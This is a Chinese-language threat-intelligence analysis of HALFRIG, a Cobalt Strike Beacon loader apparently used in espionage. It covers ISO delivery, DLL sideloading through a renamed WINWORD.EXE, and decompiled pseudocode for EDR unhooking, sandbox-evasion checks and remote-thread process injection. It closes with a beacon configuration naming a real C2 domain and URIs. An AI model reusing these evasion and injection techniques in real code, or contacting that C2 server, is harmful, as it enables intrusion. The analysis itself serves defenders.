综述
HALFRIG是CobaltStrike Beacon的一个传播下载器,用于间谍活动,与公开描述的与APT291的活动显著重叠。HALFRIG与QUARTERRIG有明显的代码重叠,很有可能是由同一个团队开发的。
HALFRIG不从C2下载CobaltStrike Beacon。相反,它解密并执行嵌入的shellcode。HALFRIG唯一值得注意的特性(对于关联到此活动集群的恶意软件来说也是一个新特性)是将执行拆分为多个线程和模块。
HALFRIG于2023年2月初首次被观测到。虽然它被用来促进与SNOWYAMBER相同类型的访问,并且在与SNOWYAMBER相同的时间范围内,但HALFRIG的目标更具选择性
ENVYSCOUT提供的ISO文件包含几个文件,一个可执行文件和四个DLL文件。DLL文件是隐藏的。可执行文件是重命名的WINWORD.EXE二进制文件。可执行程序本身并不是恶意的,只是作为加载和执行HALFRIG后门程序第一阶段的一种手段。可执行文件被重命名以模仿Word文档。为了隐藏.exe扩展名,文件名使用大量空格字符。同样的执行技术将在稍后的QUARTERRIG中看到使用。
所有模块的文件时间戳看起来都是真的,因为它们与PE/COFF元数据和恶意软件分发时间相匹配。
HALFRIG
是一个简单但严重混淆的阶段。它是用C编写的,并使用WINAPI来促进大多数功能。执行链被分成4个DLL文件,每个DLL文件负责整体功能的一小部分。除了混淆(没找到任何开源的工具关联),HALFRIG
还结合了OPSEC
技术来解除EDR,验证它是否按预期启动(从Note.exe),以及sleep
API调用是否被模拟或跳过(沙箱环境)。除了将工具拆分为多个dll之外,HALFRIG
的另一个独特特征是大量使用多线程执行。生成新线程不是为了并行执行或数据处理,而是作为一种反分析或混淆技术。
样本分析
Note.exe
这个二进制文件是一个签名的,未修改的WINWORD.EXE可执行文件。比较修改后的Note.exe与Office365套件中的WINWORD.EXE可执行文件如下:
攻击者使用导入AppvIsvSubsystems64.dll
来让HALFRIG后续阶段执行。模块的执行过程:
Note.exe -> AppvIsvSubsystems64.dll -> msword.dll(OPSEC) -> envsrv.dll(持久化) -> mshost.dll(shellcode启动器) -> cs
AppvIsvSubsystems64.dll
通过重命名WINWORD.EXE加载和执行的第一个DLL是AppvIsvSubsystems64.dll
。这个DLL只是生成一个新的线程来解析api并加载下一个模块。
新线程解析所需的api,加载并执行下一阶段:
所有的HALFRIG
dll使用相同的混淆技术:
•在执行过程中对字符串进行加密和解密。明文字符串在使用后不会被重新加密或删除。
•为了方便动态API解析,HALFRIG采用了存储模块和功能信息的自定义结构
struct struct_Module {
void *m_pModule; // 执行模块地址
char_t *m_szModuleName; // 模块名称
char_t *m_aszAPINames[]; //执行API名称的地址指针
};
struct_Module Modules[NumberOfDLLsRequired]; // 结构体数组,执行所需模块
msword.dll
该模块进行OPSEC检查(解除挂钩,检查sleep()仿真,检查进程树)。
该模块包含大量内联字符串解密例程。下面的清单显示了AppvIsvSubsystems64.dll调用的msword.dll get导出的(大量)解密代码:
__int64 get()
{
//
pUnhookedAPIs = getAPIs(&UnhookedAPIs);
pProcessModules = &UnhookedAPIs.K32EnumProcessModules();
// 参考 OPSEC
// Iterate over all loaded modules, unmap and remap each one to unhook AVs/EDRs.
uModuleCount = 53;
do
{
pModule = *pProcessModules;
unhook(UnhookedAPIs, &pModule);
++pProcessModules;
--uModuleCount;
}
while ( uModuleCount );
CloseHandle = GetProcAddress(&UnhookedAPIs, UnhookedAPIs.CloseHandle);
CloseHandle(hThread);
// Check if Sleep is emulated/patched to speed up wait time
InitializeKernel32ExportList(&pKernel32Module);
GetTickCount = GetProcAddress(&pKernel32Module, pKernel32Module.GetTickCount);
uTicks = GetTickCount();
Sleep = GetProcAddress(&pKernel32Module, pKernel32Module.Sleep);
Sleep(1000);
GetTickCount = GetProcAddress(&pKernel32Module, pKernel32Module.GetTickCount);
if ( GetTickCount() - uTicks < 1000 )
return 1;
// Get unhooked APIs
pUnhookedAPIs = InitializeKernel32ExportList(&UnhookedAPIs);
// Check if DLL was executed by Note.exe or rundll32.exe
szSystem32Path = DecryptString(szencSystem32Path);
if ( !CheckFileName(&pKernel32Module, *szSystem32Path) )
return 1;
// Stard main routine
CreateThread = GetProcAddress(&pKernel32Module, szCreateThread);
hThread = CreateThread(0, 0, InjectThead, 0, 0, &v57);
// Wait for new theread to finish execution
WaitForSingleObject = GetProcAddress(&pKernel32Module, szWaitForSingleObject);
WaitForSingleObject(hThread, 300000);
GetCurrentProcess = GetProcAddress(&pKernel32Module, szGetCurrentProcess);
// Cleanup
hProcess = GetCurrentProcess();
TerminateProcess = GetProcAddress(&pKernel32Module, szTerminateProcess);
TerminateProcess(hProcess, 0);
return 0;
}
如果OPSEC检查通过,则生成一个新线程。新线程再次执行相同的opsec相关代码块(初始化api,unhook模块,检查sleep,检查正确的父名称),如果所有检查都通过,加载并注入下一个阶段到一个随机选择的进程中。
__int64 InjectThread()
{
// 整体的结构
ResolveAPIs();
UnhookDLLs();
CheckForSleepEmulation();
InitializeCleanAPIs();
CheckIfLaunchedFromNoteExe();
InjectIntoSelectedProcess();
return 0;
}
注入下一阶段(envsrv.dll)的进程是从预定义的硬编码列表中随机选择的,该列表包含以下名称:RunTimeBroker.exe, Svchost.exe, TaskHostW.exe, IpfHelper.exe, SecurityHealthService.exe, ApplicationFrameHost.exe
。
然后是司空见惯的调用链:
1.OpenProcess2.VirtualAllocEx3.WriteProcessMemory4.CreateRemoteThread
envsrv.dll
dll有一个导出(名为unify, ord #2)。它严格遵循先前建立的模式,重用完全相同的代码块。下面的清单给出了一个简化的代码流,在注册表中实现持久化:
1. __int64 unify()
2. {
3. // Reused code blocks have been simplified
4. ResolveAPIs();
5. UnhookDLLs();
6. CheckForSleepEmulation();
7. InitializeCleanAPIs();
8. CreateNewThread(pPersistenceThread);
9. // Wait for new thread to finish execution
10. WaitForSingleObject();
11. return 0;
12. }
PersistenceThread
验证是否设置了持久性,如果没有,则创建一个目录并将ISO文件的内容复制到硬编码目录中。它还创建一个注册表项,以便在重新启动后启动恶意软件。下面的截图显示了持久性注册表项以及恶意软件复制其文件和启动的可执行文件的路径:
在验证/建立持久性之后,恶意软件继续加载下一阶段:mschost.dll。
mschost.dll
HALFRIG的最后一个模块用于启动Cobalt Strike beacon。DLL只导出一个函数-create。Create使用与前面模块完全相同的模式。
生成的新线程负责为shellcode分配内存,解密它,并执行CobaltStrike信标shellcode。新线程以与之前线程相同的模式启动。
然后分配内存,解密shellcode,并将内存权限更改为RWX来执行shellcode:
beacon 配置信息:
{
"BeaconType": [
"HTTPS"
],
"Port": 443,
"SleepTime": 60000,
"MaxGetSize": 1398102,
"Jitter": 18,
"C2Server": "communitypowersports.com,/owa/L7k2NQpwPNLq4C2dHD6TRv00GCH1axhaWv",
"HttpPostUri": "/owa/o9besAWTTVJKNeyrfOOy2tn-epXE7f",
"Malleable_C2_Instructions": [
"Base64 URL-safe decode"
],
"HttpGet_Verb": "GET",
"HttpPost_Verb": "POST",
"HttpPostChunk": 0,
"Spawnto_x86": "%windir%\syswow64\powercfg.exe",
"Spawnto_x64": "%windir%\sysnative\powercfg.exe",
"CryptoScheme": 0,
"Proxy_Behavior": "Use IE settings",
"Watermark": 1359593325,
"bStageCleanup": "True",
"bCFGCaution": "False",
"KillDate": 0,
"bProcInject_StartRWX": "True",
"bProcInject_UseRWX": "False",
"bProcInject_MinAllocSize": 56642,
"ProcInject_PrependAppend_x86": [
"kJCQkJCQkJCQ",
"Empty"
],
"ProcInject_PrependAppend_x64": [
"kJCQkJCQkJCQ",
"Empty"
],
"ProcInject_Execute": [
"ntdll.dll:RtlUserThreadStart",
"NtQueueApcThread-s",
"SetThreadContext",
"CreateRemoteThread",
"kernel32.dll:LoadLibraryA",
"RtlCreateUserThread"
],
"ProcInject_AllocationMethod": "VirtualAllocEx",
"bUsesCookies": "True",
"HostHeader": ""
}
原文始发于微信公众号(TIPFactory情报工厂):HALFRIG样本分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论